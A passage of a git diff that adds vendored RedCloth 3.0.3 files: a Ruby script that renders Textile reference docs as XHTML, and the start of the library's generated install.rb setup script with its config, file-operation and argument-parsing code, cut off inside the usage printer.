+        gsub!( '"', '&quot;' ) if mode != :NoQuotes
+        gsub!( "'", '&#039;' ) if mode == :Quotes
+        gsub!('<', '&lt;')
+        gsub!('>', '&gt;')
+    end
+end
+
+def a_name( phrase )
+    phrase.downcase.
+           gsub( /\W+/, '-' )
+end
+
+file_name = ARGV.shift
+case file_name
+when 'README'
+    puts <<-HTML
+    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+            "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+    <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+    <head>
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+    <title>RedCloth [Textile Humane Web Text for Ruby]</title>
+    <style type="text/css">
+    BODY {
+        margin: 10px 60px 40px 60px;
+        font-family: georgia, serif;
+        font-size: 12pt;
+    }
+    TABLE {
+        padding: 15px;
+        width: 250px;
+    }
+    TH {
+        text-align: left;
+    }
+    TD {
+        border-top: solid 1px #eee;
+    }
+    H4 {
+        border: solid 1px #caa;
+        margin: 10px 15px 5px 10px;
+        padding: 5px;
+        color: white;
+        background-color: #333;
+        font-weight: bold;
+        font-size: 12pt;
+    }
+    P {
+        margin: 10px 15px 5px 15px;
+    }
+    P.example1 {
+        background-color: #FEE;
+        font-weight: bold;
+        font-size: 9pt;
+        padding: 5px;
+    }
+    P.example2 {
+        border: solid 1px #DDD;
+        background-color: #EEE;
+        font-size: 9pt;
+        padding: 5px;
+    }
+    .big {
+        font-size: 15pt;
+    }
+    #big-red {
+        font-size: 15pt;
+        color: red;
+    }
+    #big-red2 {
+        font-size: 15pt;
+        color: red;
+    }
+    #sidebar {
+        float: right;
+        font-family: verdana, arial, sans-serif;
+        font-size: 10pt;
+        border-left: solid 1px #999;
+        margin-left: 10px;
+        width: 200px;
+    }
+    /* VARIATION BUTTON STYLING (v2.0) - SIZABLE SIZE */
+    #css-buttons ul{list-style: none;margin: 0 0 10px 0;padding: 0;}
+    #css-buttons li{border: 1px solid #999; margin: 5px 0 0 20px; width:9.0em;}
+    head:first-child+body #css-buttons li{padding-right:2px;}
+    #css-buttons li a{color: #333; text-decoration: none;}
+
+    .css-button {
+        display:block;
+        font: 0.8em verdana, arial, sans-serif;
+        padding: 2px 0 2px 0px; border: 1px solid white;
+        text-decoration: none; width:100%;
+        background: #ddd;color: #333;
+    }
+
+    .css-button span {
+        font: bold 1.0em verdana, arial, sans-serif;
+        padding: 2px 3px 2px 3px; color: #fff;
+    }  
+
+    /* BUTTON LOGO STYLING */
+    .rss span{background:#f60;}
+    .w3c span {background: #fff; color: #069; font: bold 1.1em helvetica, arial, Sans-Serif;}
+    .w3c2{background: #fc6;color: black !important;}
+    </style>
+    </head>
+    <body>
+    HTML
+    puts RedCloth.new( File.open( file_name ).read ).to_html
+    puts "</body>"
+    puts "</html>"
+when 'QUICK-REFERENCE'
+    YAML::add_private_type( "example" ) do |type, val|
+        esc = val.dup
+        esc.htmlesc!( :NoQuotes )
+        [ :example, esc.gsub( /\n/, '<br />' ),
+          RedCloth.new( val ).to_html ]
+    end
+
+    content = YAML::load( File.open( 'REFERENCE' ) )
+
+    sections = content.collect { |c| c.keys.first }
+    sections.shift
+
+    puts <<-HTML
+    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+            "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+    <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+    <head>
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+    <title>Textile Quick Reference</title>
+    <style type="text/css">
+    BODY {
+        margin: 5px;
+    }
+    TABLE {
+        font-family: georgia, serif;
+        font-size: 10pt;
+        padding: 5px;
+        width: 200px;
+    }
+    TH {
+        padding-top: 10px;
+    }
+    TD {
+        border-top: solid 1px #eee;
+    }
+    H1 {
+        font-size: 18pt;
+    }
+    H4 {
+        color: #999;
+        background-color: #fee;
+        border: solid 1px #caa;
+        margin: 10px 15px 5px 10px;
+        padding: 5px;
+    }
+    P {
+        margin: 2px 5px 2px 5px;
+    }
+    TD.example1 PRE {
+        background-color: #FEE;
+        font-family: georgia, serif;
+        font-size: 8pt;
+        padding: 5px;
+        padding: 5px;
+    }
+    TD.example3 {
+        border: solid 1px #DDD;
+        background-color: #EEE;
+        font-size: 8pt;
+        padding: 5px;
+    }
+    .big {
+        font-size: 12pt;
+    }
+    #big-red {
+        font-size: 12pt;
+        color: red;
+    }
+    #big-red2 {
+        font-size: 15pt;
+        color: red;
+    }
+    </style>
+    </head>
+    <body>
+    <table>
+    <tr><th colspan='3'><h1>Textile Quick Reference</h1></th></tr>
+    <tr><th colspan='3'>Sections: #{ sections.collect { |s| "<a href='##{ a_name( s ) }'>#{ s.gsub( /\s/, '&nbsp;' ) }</a>" }.join( ' | ' ) }</th></tr>
+    HTML
+
+    ct = 0
+    content.each do |section|
+        section.each do |header, parags|
+            puts "<tr><th colspan='5'><a name='#{ a_name( header ) }'>#{ header }</a></th></tr>" if ct.nonzero?
+            parags.each do |p|
+                if p.is_a?( Array ) and p[0] == :example
+                    puts "<tr><td class='example1'><pre>#{ p[1] }</pre></td><td>&rarr;</td>" +
+                             "<td class='example2'>#{ p[2] }</td></tr>"
+                end
+            end
+        end
+        ct += 1
+    end
+    puts "</table>"
+    puts "</body>"
+    puts "</html>"
+
+when 'REFERENCE'
+    YAML::add_private_type( "example" ) do |type, val|
+        esc = val.dup
+        esc.htmlesc!( :NoQuotes )
+        [ esc.gsub( /\n/, '<br />' ),
+          RedCloth.new( val ).to_html.
+                   gsub( /;(\w)/, '; \1' ).
+                   htmlesc!( :NoQuotes ).
+                   gsub( /\n/, '<br />' ),
+          RedCloth.new( val ).to_html ]
+    end
+
+    content = YAML::load( File.open( file_name ) )
+
+    sections = content.collect { |c| c.keys.first }
+    sections.shift
+
+    puts <<-HTML
+    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+            "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+    <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+    <head>
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+    <title>Textile Reference</title>
+    <style type="text/css">
+    BODY {
+        margin: 10px 30px;
+    }
+    TABLE {
+        font-family: georgia, serif;
+        font-size: 11pt;
+        padding: 15px;
+    }
+    TH {
+        border-bottom: solid 1px black;
+        font-size: 24pt;
+        font-weight: bold;
+        padding-top: 30px;
+    }
+    H1 {
+        font-size: 42pt;
+    }
+    H4 {
+        color: #666;
+        background-color: #fee;
+        border: solid 1px #caa;
+        margin: 10px 0px 5px 0px;
+        padding: 5px;
+    }
+    P {
+        margin: 10px 15px 5px 15px;
+    }
+    TD.sections {
+        background: black;
+        color: white;
+        font-family: georgia, serif;
+        font-weight: bold;
+        font-size: 9pt;
+        padding: 5px;
+    }
+    TD.sections A         { color: #CCEEFF; }
+    TD.sections A:link    { color: #CCEEFF; }
+    TD.sections A:visited { color: #CCEEFF; }
+    TD.sections A:active  { color: #EEEEEE; }
+    TD.sections A:hover   { color: #EEEEEE; }
+
+    TD.example1 PRE {
+        background-color: #B30;
+        color: white;
+        font-family: georgia, serif;
+        font-weight: bold;
+        font-size: 9pt;
+        padding: 5px;
+    }
+    TD.example2 P {
+        border: solid 1px #DDD;
+        background-color: #EEE;
+        font-family: georgia, serif;
+        font-size: 9pt;
+        padding: 5px;
+    }
+    TD.example3 {
+        border: solid 1px #EED;
+        background-color: #FFE;
+        padding: 5px;
+    }
+    .big {
+        font-size: 15pt;
+    }
+    #big-red {
+        font-size: 15pt;
+        color: red
+    }
+    </style>
+    <script type="text/javascript">
+        function quickRedReference() {
+            window.open( 
+                "quick.html",
+                "redRef",
+                "height=600,width=550,channelmode=0,dependent=0," +
+                "directories=0,fullscreen=0,location=0,menubar=0," +
+                "resizable=0,scrollbars=1,status=1,toolbar=0"
+            );
+        }
+    </script>
+    </head>
+    <body>
+    <table>
+    HTML
+
+    ct = 0
+    content.each do |section|
+        section.each do |header, parags|
+            if ct.zero?
+                puts "<tr><th colspan='3'><h1>#{ header }</h1></th></tr>"
+                puts "<tr><td class='sections' colspan='3'>Sections: #{ sections.collect { |s| "<a href='##{ a_name( s ) }'>#{ s.gsub( /\s/, '&nbsp;' ) }</a>" }.join( ' | ' ) }</td></tr>"
+            else
+                puts "<tr><th colspan='3'><a name='#{ a_name( header ) }'><small>#{ ct }.</small></a><br />#{ header }</th></tr>"
+            end
+            parags.each do |p|
+                if p.is_a? Array
+                    puts "<tr><td class='example1' valign='top'><pre>#{ p[0] }</pre></td><td>&rarr;</td>" +
+                             "<td class='example2'><p>#{ p[1] }</p></td></tr><tr><td colspan='2'></td>" +
+                             "<td class='example3'>#{ p[2] }</td></tr>"
+                else
+                    puts "<tr><td class='explain' colspan='3'>"
+                    puts RedCloth.new( p ).to_html
+                    puts "</td></tr>"
+                end
+            end
+            unless ct.zero?
+                puts "<tr><td colspan='5' style='border-bottom: solid 1px #eee;'></td></tr>"
+            end
+        end
+        ct += 1
+    end
+    puts "</table>"
+    puts "</body>"
+    puts "</html>"
+end
diff --git a/vendor/RedCloth-3.0.3/install.rb b/vendor/RedCloth-3.0.3/install.rb
new file mode 100644
index 00000000..2313f9e9
--- /dev/null
+++ b/vendor/RedCloth-3.0.3/install.rb
@@ -0,0 +1,1032 @@
+#!/usr/local/bin/ruby
+#
+# This file is automatically generated. DO NOT MODIFY!
+#
+# install.rb
+#
+#   Copyright (c) 2000-2002 Minero Aoki <aamine@loveruby.net>
+#
+#   This program is free software.
+#   You can distribute/modify this program under the terms of
+#   the GNU Lesser General Public License version 2.
+#
+
+### begin compat.rb
+
+unless Enumerable.instance_methods.include? 'inject' then
+module Enumerable
+  def inject( result )
+    each do |i|
+      result = yield(result, i)
+    end
+    result
+  end
+end
+end
+
+def File.read_all( fname )
+  File.open(fname, 'rb') {|f| return f.read }
+end
+
+def File.write( fname, str )
+  File.open(fname, 'wb') {|f| f.write str }
+end
+
+### end compat.rb
+### begin config.rb
+
+if i = ARGV.index(/\A--rbconfig=/) then
+  file = $'
+  ARGV.delete_at(i)
+  require file
+else
+  require 'rbconfig'
+end
+
+
+class ConfigTable
+
+  c = ::Config::CONFIG
+
+  rubypath = c['bindir'] + '/' + c['ruby_install_name']
+
+  major = c['MAJOR'].to_i
+  minor = c['MINOR'].to_i
+  teeny = c['TEENY'].to_i
+  version = "#{major}.#{minor}"
+
+  # ruby ver. >= 1.4.4?
+  newpath_p = ((major >= 2) or
+               ((major == 1) and
+                ((minor >= 5) or
+                 ((minor == 4) and (teeny >= 4)))))
+  
+  re = Regexp.new('\A' + Regexp.quote(c['prefix']))
+  subprefix = lambda {|path|
+      re === path and path.sub(re, '$prefix')
+  }
+
+  if c['rubylibdir'] then
+    # 1.6.3 < V
+    stdruby    = subprefix.call(c['rubylibdir'])
+    siteruby   = subprefix.call(c['sitedir'])
+    versite    = subprefix.call(c['sitelibdir'])
+    sodir      = subprefix.call(c['sitearchdir'])
+  elsif newpath_p then
+    # 1.4.4 <= V <= 1.6.3
+    stdruby    = "$prefix/lib/ruby/#{version}"
+    siteruby   = subprefix.call(c['sitedir'])
+    versite    = siteruby + '/' + version
+    sodir      = "$site-ruby/#{c['arch']}"
+  else
+    # V < 1.4.4
+    stdruby    = "$prefix/lib/ruby/#{version}"
+    siteruby   = "$prefix/lib/ruby/#{version}/site_ruby"
+    versite    = siteruby
+    sodir      = "$site-ruby/#{c['arch']}"
+  end
+
+  DESCRIPTER = [
+    [ 'prefix',    [ c['prefix'],
+                     'path',
+                     'path prefix of target environment' ] ],
+    [ 'std-ruby',  [ stdruby,
+                     'path',
+                     'the directory for standard ruby libraries' ] ],
+    [ 'site-ruby-common', [ siteruby,
+                     'path',
+                     'the directory for version-independent non-standard ruby libraries' ] ],
+    [ 'site-ruby', [ versite,
+                     'path',
+                     'the directory for non-standard ruby libraries' ] ],
+    [ 'bin-dir',   [ '$prefix/bin',
+                     'path',
+                     'the directory for commands' ] ],
+    [ 'rb-dir',    [ '$site-ruby',
+                     'path',
+                     'the directory for ruby scripts' ] ],
+    [ 'so-dir',    [ sodir,
+                     'path',
+                     'the directory for ruby extentions' ] ],
+    [ 'data-dir',  [ '$prefix/share',
+                     'path',
+                     'the directory for shared data' ] ],
+    [ 'ruby-path', [ rubypath,
+                     'path',
+                     'path to set to #! line' ] ],
+    [ 'ruby-prog', [ rubypath,
+                     'name',
+                     'the ruby program using for installation' ] ],
+    [ 'make-prog', [ 'make',
+                     'name',
+                     'the make program to compile ruby extentions' ] ],
+    [ 'without-ext', [ 'no',
+                       'yes/no',
+                       'does not compile/install ruby extentions' ] ]
+  ]
+
+  SAVE_FILE = 'config.save'
+
+  def ConfigTable.each_name( &block )
+    keys().each( &block )
+  end
+
+  def ConfigTable.keys
+    DESCRIPTER.collect {|k,*dummy| k }
+  end
+
+  def ConfigTable.each_definition( &block )
+    DESCRIPTER.each( &block )
+  end
+
+  def ConfigTable.get_entry( name )
+    name, ent = DESCRIPTER.assoc(name)
+    ent
+  end
+
+  def ConfigTable.get_entry!( name )
+    get_entry(name) or raise ArgumentError, "no such config: #{name}"
+  end
+
+  def ConfigTable.add_entry( name, vals )
+    ConfigTable::DESCRIPTER.push [name,vals]
+  end
+
+  def ConfigTable.remove_entry( name )
+    get_entry name or raise ArgumentError, "no such config: #{name}"
+    DESCRIPTER.delete_if {|n,arr| n == name }
+  end
+
+  def ConfigTable.config_key?( name )
+    get_entry(name) ? true : false
+  end
+
+  def ConfigTable.bool_config?( name )
+    ent = get_entry(name) or return false
+    ent[1] == 'yes/no'
+  end
+
+  def ConfigTable.value_config?( name )
+    ent = get_entry(name) or return false
+    ent[1] != 'yes/no'
+  end
+
+  def ConfigTable.path_config?( name )
+    ent = get_entry(name) or return false
+    ent[1] == 'path'
+  end
+
+
+  class << self
+
+    alias newobj new
+
+    def new
+      c = newobj()
+      c.__send__ :init
+      c
+    end
+
+    def load
+      c = newobj()
+      File.file? SAVE_FILE or
+              raise InstallError, "#{File.basename $0} config first"
+      File.foreach( SAVE_FILE ) do |line|
+        k, v = line.split( '=', 2 )
+        c.instance_eval {
+            @table[k] = v.strip
+        }
+      end
+      c
+    end
+  
+  end
+
+  def initialize
+    @table = {}
+  end
+
+  def init
+    DESCRIPTER.each do |k, (default, vname, desc, default2)|
+      @table[k] = default
+    end
+  end
+  private :init
+
+  def save
+    File.open( SAVE_FILE, 'w' ) {|f|
+        @table.each do |k, v|
+          f.printf "%s=%s\n", k, v if v
+        end
+    }
+  end
+
+  def []=( k, v )
+    ConfigTable.config_key? k or raise InstallError, "unknown config option #{k}"
+    if ConfigTable.path_config? k then
+      @table[k] = (v[0,1] != '$') ? File.expand_path(v) : v
+    else
+      @table[k] = v
+    end
+  end
+    
+  def []( key )
+    @table[key] or return nil
+    @table[key].gsub( %r<\$([^/]+)> ) { self[$1] }
+  end
+
+  def set_raw( key, val )
+    @table[key] = val
+  end
+
+  def get_raw( key )
+    @table[key]
+  end
+
+end
+
+
+class MetaConfigEnvironment
+
+  def self.eval_file( file )
+    return unless File.file? file
+    new.instance_eval File.read_all(file), file, 1
+  end
+
+  private
+
+  def config_names
+    ConfigTable.keys
+  end
+
+  def config?( name )
+    ConfigTable.config_key? name
+  end
+
+  def bool_config?( name )
+    ConfigTable.bool_config? name
+  end
+
+  def value_config?( name )
+    ConfigTable.value_config? name
+  end
+
+  def path_config?( name )
+    ConfigTable.path_config? name
+  end
+
+  def add_config( name, argname, default, desc )
+    ConfigTable.add_entry name,[default,argname,desc]
+  end
+
+  def add_path_config( name, default, desc )
+    add_config name, 'path', default, desc
+  end
+
+  def add_bool_config( name, default, desc )
+    add_config name, 'yes/no', default ? 'yes' : 'no', desc
+  end
+
+  def set_config_default( name, default )
+    if bool_config? name then
+      ConfigTable.get_entry!(name)[0] = default ? 'yes' : 'no'
+    else
+      ConfigTable.get_entry!(name)[0] = default
+    end
+  end
+
+  def remove_config( name )
+    ent = ConfigTable.get_entry(name)
+    ConfigTable.remove_entry name
+    ent
+  end
+
+end
+
+### end config.rb
+### begin fileop.rb
+
+module FileOperations
+
+  def mkdir_p( dname, prefix = nil )
+    dname = prefix + dname if prefix
+    $stderr.puts "mkdir -p #{dname}" if verbose?
+    return if no_harm?
+
+    # does not check '/'... it's too abnormal case
+    dirs = dname.split(%r_(?=/)_)
+    if /\A[a-z]:\z/i === dirs[0] then
+      disk = dirs.shift
+      dirs[0] = disk + dirs[0]
+    end
+    dirs.each_index do |idx|
+      path = dirs[0..idx].join('')
+      Dir.mkdir path unless dir? path
+    end
+  end
+
+  def rm_f( fname )
+    $stderr.puts "rm -f #{fname}" if verbose?
+    return if no_harm?
+
+    if File.exist? fname or File.symlink? fname then
+      File.chmod 0777, fname
+      File.unlink fname
+    end
+  end
+
+  def rm_rf( dn )
+    $stderr.puts "rm -rf #{dn}" if verbose?
+    return if no_harm?
+
+    Dir.chdir dn
+    Dir.foreach('.') do |fn|
+      next if fn == '.'
+      next if fn == '..'
+      if dir? fn then
+        verbose_off {
+            rm_rf fn
+        }
+      else
+        verbose_off {
+            rm_f fn
+        }
+      end
+    end
+    Dir.chdir '..'
+    Dir.rmdir dn
+  end
+
+  def mv( src, dest )
+    rm_f dest
+    begin
+      File.link src, dest
+    rescue
+      File.write dest, File.read_all(src)
+      File.chmod File.stat(src).mode, dest
+    end
+    rm_f src
+  end
+
+  def install( from, dest, mode, prefix = nil )
+    $stderr.puts "install #{from} #{dest}" if verbose?
+    return if no_harm?
+
+    realdest = prefix + dest if prefix
+    if dir? realdest then
+      realdest += '/' + File.basename(from)
+    end
+    str = File.read_all(from)
+    if diff? str, realdest then
+      verbose_off {
+          rm_f realdest if File.exist? realdest
+      }
+      File.write realdest, str
+      File.chmod mode, realdest
+
+      File.open( objdir + '/InstalledFiles', 'a' ) {|f| f.puts realdest }
+    end
+  end
+
+  def diff?( orig, targ )
+    return true unless File.exist? targ
+    orig != File.read_all(targ)
+  end
+
+  def command( str )
+    $stderr.puts str if verbose?
+    system str or raise RuntimeError, "'system #{str}' failed"
+  end
+
+  def ruby( str )
+    command config('ruby-prog') + ' ' + str
+  end
+
+  def dir?( dname )
+    # for corrupted windows stat()
+    File.directory?( (dname[-1,1] == '/') ? dname : dname + '/' )
+  end
+
+  def all_files( dname )
+    Dir.open( dname ) {|d|
+        return d.find_all {|n| File.file? "#{dname}/#{n}" }
+    }
+  end
+
+  def all_dirs( dname )
+    Dir.open( dname ) {|d|
+        return d.find_all {|n| dir? "#{dname}/#{n}" } - %w(. ..)
+    }
+  end
+
+end
+
+### end fileop.rb
+### begin base.rb
+
+class InstallError < StandardError; end
+
+
+class Installer
+
+  Version   = '3.1.2'
+  Copyright = 'Copyright (c) 2000-2002 Minero Aoki'
+
+
+  @toplevel = nil
+
+  def self.declear_toplevel_installer( inst )
+    @toplevel and
+        raise ArgumentError, 'more than one toplevel installer decleared'
+    @toplevel = inst
+  end
+
+  def self.toplevel_installer
+    @toplevel
+  end
+
+
+  FILETYPES = %w( bin lib ext data )
+
+  include FileOperations
+
+  def initialize( config, opt, srcroot, objroot )
+    @config = config
+    @options = opt
+    @srcdir = File.expand_path(srcroot)
+    @objdir = File.expand_path(objroot)
+    @currdir = '.'
+  end
+
+  def inspect
+    "#<#{type} #{__id__}>"
+  end
+
+  #
+  # configs/options
+  #
+
+  def get_config( key )
+    @config[key]
+  end
+
+  alias config get_config
+
+  def set_config( key, val )
+    @config[key] = val
+  end
+
+  def no_harm?
+    @options['no-harm']
+  end
+
+  def verbose?
+    @options['verbose']
+  end
+
+  def verbose_off
+    save, @options['verbose'] = @options['verbose'], false
+    yield
+    @options['verbose'] = save
+  end
+
+  #
+  # srcdir/objdir
+  #
+
+  attr_reader :srcdir
+  alias srcdir_root srcdir
+  alias package_root srcdir
+
+  def curr_srcdir
+    "#{@srcdir}/#{@currdir}"
+  end
+
+  attr_reader :objdir
+  alias objdir_root objdir
+
+  def curr_objdir
+    "#{@objdir}/#{@currdir}"
+  end
+
+  def srcfile( path )
+    curr_srcdir + '/' + path
+  end
+
+  def srcexist?( path )
+    File.exist? srcfile(path)
+  end
+
+  def srcdirectory?( path )
+    dir? srcfile(path)
+  end
+  
+  def srcfile?( path )
+    File.file? srcfile(path)
+  end
+
+  def srcentries( path = '.' )
+    Dir.open( curr_srcdir + '/' + path ) {|d|
+        return d.to_a - %w(. ..) - hookfilenames
+    }
+  end
+
+  def srcfiles( path = '.' )
+    srcentries(path).find_all {|fname|
+        File.file? File.join(curr_srcdir, path, fname)
+    }
+  end
+
+  def srcdirectories( path = '.' )
+    srcentries(path).find_all {|fname|
+        dir? File.join(curr_srcdir, path, fname)
+    }
+  end
+
+  def dive_into( rel )
+    return unless dir? "#{@srcdir}/#{rel}"
+
+    dir = File.basename(rel)
+    Dir.mkdir dir unless dir? dir
+    save = Dir.pwd
+    Dir.chdir dir
+    $stderr.puts '---> ' + rel if verbose?
+    @currdir = rel
+    yield
+    Dir.chdir save
+    $stderr.puts '<--- ' + rel if verbose?
+    @currdir = File.dirname(rel)
+  end
+
+  #
+  # config
+  #
+
+  def exec_config
+    exec_task_traverse 'config'
+  end
+
+  def config_dir_bin( rel )
+  end
+
+  def config_dir_lib( rel )
+  end
+
+  def config_dir_ext( rel )
+    extconf if extdir? curr_srcdir
+  end
+
+  def extconf
+    opt = @options['config-opt'].join(' ')
+    command "#{config('ruby-prog')} #{curr_srcdir}/extconf.rb #{opt}"
+  end
+
+  def config_dir_data( rel )
+  end
+
+  #
+  # setup
+  #
+
+  def exec_setup
+    exec_task_traverse 'setup'
+  end
+
+  def setup_dir_bin( relpath )
+    all_files( curr_srcdir ).each do |fname|
+      add_rubypath "#{curr_srcdir}/#{fname}"
+    end
+  end
+
+  SHEBANG_RE = /\A\#!\s*\S*ruby\S*/
+
+  def add_rubypath( path )
+    $stderr.puts %Q<set #! line to "\#!#{config('ruby-path')}" for #{path} ...> if verbose?
+    return if no_harm?
+
+    tmpfile = File.basename(path) + '.tmp'
+    begin
+      File.open( path ) {|r|
+      File.open( tmpfile, 'w' ) {|w|
+          first = r.gets
+          return unless SHEBANG_RE === first   # reject '/usr/bin/env ruby'
+
+          w.print first.sub( SHEBANG_RE, '#!' + config('ruby-path') )
+          w.write r.read
+      } }
+      mv tmpfile, File.basename(path)
+    ensure
+      rm_f tmpfile if File.exist? tmpfile
+    end
+  end
+
+  def setup_dir_lib( relpath )
+  end
+
+  def setup_dir_ext( relpath )
+    if extdir? curr_srcdir then
+      make
+    end
+  end
+
+  def make
+    command config('make-prog')
+  end
+
+  def setup_dir_data( relpath )
+  end
+
+  #
+  # install
+  #
+
+  def exec_install
+    exec_task_traverse 'install'
+  end
+
+  def install_dir_bin( rel )
+    install_files targfiles, config('bin-dir') + '/' + rel, 0755
+  end
+
+  def install_dir_lib( rel )
+    install_files targfiles, config('rb-dir') + '/' + rel, 0644
+    begin
+        require 'rdoc/rdoc'
+        ri_site = true
+        if RDOC_VERSION =~ /^0\./
+            require 'rdoc/options'
+            unless Options::OptionList::OPTION_LIST.assoc('--ri-site')
+                ri_site = false
+            end
+        end
+        if ri_site
+            r = RDoc::RDoc.new
+            r.document(%w{--ri-site})
+        end
+    rescue
+        puts "** Unable to install Ri documentation for RedCloth **"
+    end
+  end
+
+  def install_dir_ext( rel )
+    if extdir? curr_srcdir then
+      install_dir_ext_main File.dirname(rel)
+    end
+  end
+
+  def install_dir_ext_main( rel )
+    install_files allext('.'), config('so-dir') + '/' + rel, 0555
+  end
+
+  def install_dir_data( rel )
+    install_files targfiles, config('data-dir') + '/' + rel, 0644
+  end
+
+  def install_files( list, dest, mode )
+    mkdir_p dest, @options['install-prefix']
+    list.each do |fname|
+      install fname, dest, mode, @options['install-prefix']
+    end
+  end
+  
+  def targfiles
+    (targfilenames() - hookfilenames()).collect {|fname|
+        File.exist?(fname) ? fname : File.join(curr_srcdir(), fname)
+    }
+  end
+
+  def targfilenames
+    [ curr_srcdir(), '.' ].inject([]) {|ret, dir|
+        ret | all_files(dir)
+    }
+  end
+
+  def hookfilenames
+    %w( pre-%s post-%s pre-%s.rb post-%s.rb ).collect {|fmt|
+        %w( config setup install clean ).collect {|t| sprintf fmt, t }
+    }.flatten
+  end
+
+  def allext( dir )
+    _allext(dir) or raise InstallError,
+        "no extention exists: Have you done 'ruby #{$0} setup' ?"
+  end
+
+  DLEXT = /\.#{ ::Config::CONFIG['DLEXT'] }\z/
+
+  def _allext( dir )
+    Dir.open( dir ) {|d|
+        return d.find_all {|fname| DLEXT === fname }
+    }
+  end
+
+  #
+  # clean
+  #
+
+  def exec_clean
+    exec_task_traverse 'clean'
+    rm_f 'config.save'
+    rm_f 'InstalledFiles'
+  end
+
+  def clean_dir_bin( rel )
+  end
+
+  def clean_dir_lib( rel )
+  end
+
+  def clean_dir_ext( rel )
+    clean
+  end
+  
+  def clean
+    command config('make-prog') + ' clean' if File.file? 'Makefile'
+  end
+
+  def clean_dir_data( rel )
+  end
+
+  #
+  # lib
+  #
+
+  def exec_task_traverse( task )
+    run_hook 'pre-' + task
+    FILETYPES.each do |type|
+      if config('without-ext') == 'yes' and type == 'ext' then
+        $stderr.puts 'skipping ext/* by user option' if verbose?
+        next
+      end
+      traverse task, type, task + '_dir_' + type
+    end
+    run_hook 'post-' + task
+  end
+
+  def traverse( task, rel, mid )
+    dive_into( rel ) {
+        run_hook 'pre-' + task
+        __send__ mid, rel.sub( %r_\A.*?(?:/|\z)_, '' )
+        all_dirs( curr_srcdir ).each do |d|
+          traverse task, rel + '/' + d, mid
+        end
+        run_hook 'post-' + task
+    }
+  end
+
+  def run_hook( name )
+    try_run_hook curr_srcdir + '/' + name           or
+    try_run_hook curr_srcdir + '/' + name + '.rb'
+  end
+
+  def try_run_hook( fname )
+    return false unless File.file? fname
+
+    env = self.dup
+    begin
+      env.instance_eval File.read_all(fname), fname, 1
+    rescue
+      raise InstallError, "hook #{fname} failed:\n" + $!.message
+    end
+    true
+  end
+
+  def extdir?( dir )
+    File.exist? dir + '/MANIFEST'
+  end
+
+end
+
+### end base.rb
+### begin toplevel.rb
+
+class ToplevelInstaller < Installer
+
+  TASKS = [
+    [ 'config',   'saves your configurations' ],
+    [ 'show',     'shows current configuration' ],
+    [ 'setup',    'compiles extention or else' ],
+    [ 'install',  'installs files' ],
+    [ 'clean',    "does `make clean' for each extention" ]
+  ]
+
+
+  def initialize( root )
+    super nil, {'verbose' => true}, root, '.'
+    Installer.declear_toplevel_installer self
+  end
+
+
+  def execute
+    run_metaconfigs
+
+    case task = parsearg_global()
+    when 'config'
+      @config = ConfigTable.new
+    else
+      @config = ConfigTable.load
+    end
+    parsearg_TASK task
+
+    exectask task
+  end
+
+
+  def run_metaconfigs
+    MetaConfigEnvironment.eval_file "#{srcdir_root}/#{metaconfig}"
+  end
+
+  def metaconfig
+    'metaconfig'
+  end
+
+
+  def exectask( task )
+    if task == 'show' then
+      exec_show
+    else
+      try task
+    end
+  end
+
+  def try( task )
+    $stderr.printf "#{File.basename $0}: entering %s phase...\n", task if verbose?
+    begin
+      __send__ 'exec_' + task
+    rescue
+      $stderr.printf "%s failed\n", task
+      raise
+    end
+    $stderr.printf "#{File.basename $0}: %s done.\n", task if verbose?
+  end
+
+  #
+  # processing arguments
+  #
+
+  def parsearg_global
+    task_re = /\A(?:#{TASKS.collect {|i| i[0] }.join '|'})\z/
+
+    while arg = ARGV.shift do
+      case arg
+      when /\A\w+\z/
+        task_re === arg or raise InstallError, "wrong task: #{arg}"
+        return arg
+
+      when '-q', '--quiet'
+        @options['verbose'] = false
+
+      when       '--verbose'
+        @options['verbose'] = true
+
+      when '-h', '--help'
+        print_usage $stdout
+        exit 0
+
+      when '-v', '--version'
+        puts "#{File.basename $0} version #{Version}"
+        exit 0
+      
+      when '--copyright'
+        puts Copyright
+        exit 0
+
+      else
+        raise InstallError, "unknown global option '#{arg}'"
+      end
+    end
+
+    raise InstallError, 'no task or global option given'
+  end
+
+
+  def parsearg_TASK( task )
+    mid = "parsearg_#{task}"
+    if respond_to? mid, true then
+      __send__ mid
+    else
+      ARGV.empty? or
+          raise InstallError, "#{task}:  unknown options: #{ARGV.join ' '}"
+    end
+  end
+
+  def parsearg_config
+    re = /\A--(#{ConfigTable.keys.join '|'})(?:=(.*))?\z/
+    @options['config-opt'] = []
+
+    while i = ARGV.shift do
+      if /\A--?\z/ === i then
+        @options['config-opt'] = ARGV.dup
+        break
+      end
+      m = re.match(i) or raise InstallError, "config: unknown option #{i}"
+      name, value = m.to_a[1,2]
+      if value then
+        if ConfigTable.bool_config?(name) then
+          /\A(y(es)?|n(o)?|t(rue)?|f(alse))\z/i === value or raise InstallError, "config: --#{name} allows only yes/no for argument"
+          value = (/\Ay(es)?|\At(rue)/i === value) ? 'yes' : 'no'
+        end
+      else
+        ConfigTable.bool_config?(name) or raise InstallError, "config: --#{name} requires argument"
+        value = 'yes'
+      end
+      @config[name] = value
+    end
+  end
+
+  def parsearg_install
+    @options['no-harm'] = false
+    @options['install-prefix'] = ''
+    while a = ARGV.shift do
+      case a
+      when /\A--no-harm\z/
+        @options['no-harm'] = true
+      when /\A--prefix=(.*)\z/
+        path = $1
+        path = File.expand_path(path) unless path[0,1] == '/'
+        @options['install-prefix'] = path
+      else
+        raise InstallError, "install: unknown option #{a}"
+      end
+    end
+  end
+
+
+  def print_usage( out )
+    out.puts
+    out.puts 'Usage:'
+    out.puts "  ruby #{File.basename $0} <global option>"
+    out.puts "  ruby #{File.basename $0} [<global options>] <task> [<task options>]"
+
+    fmt = "  %-20s %s\n"
+    out.puts
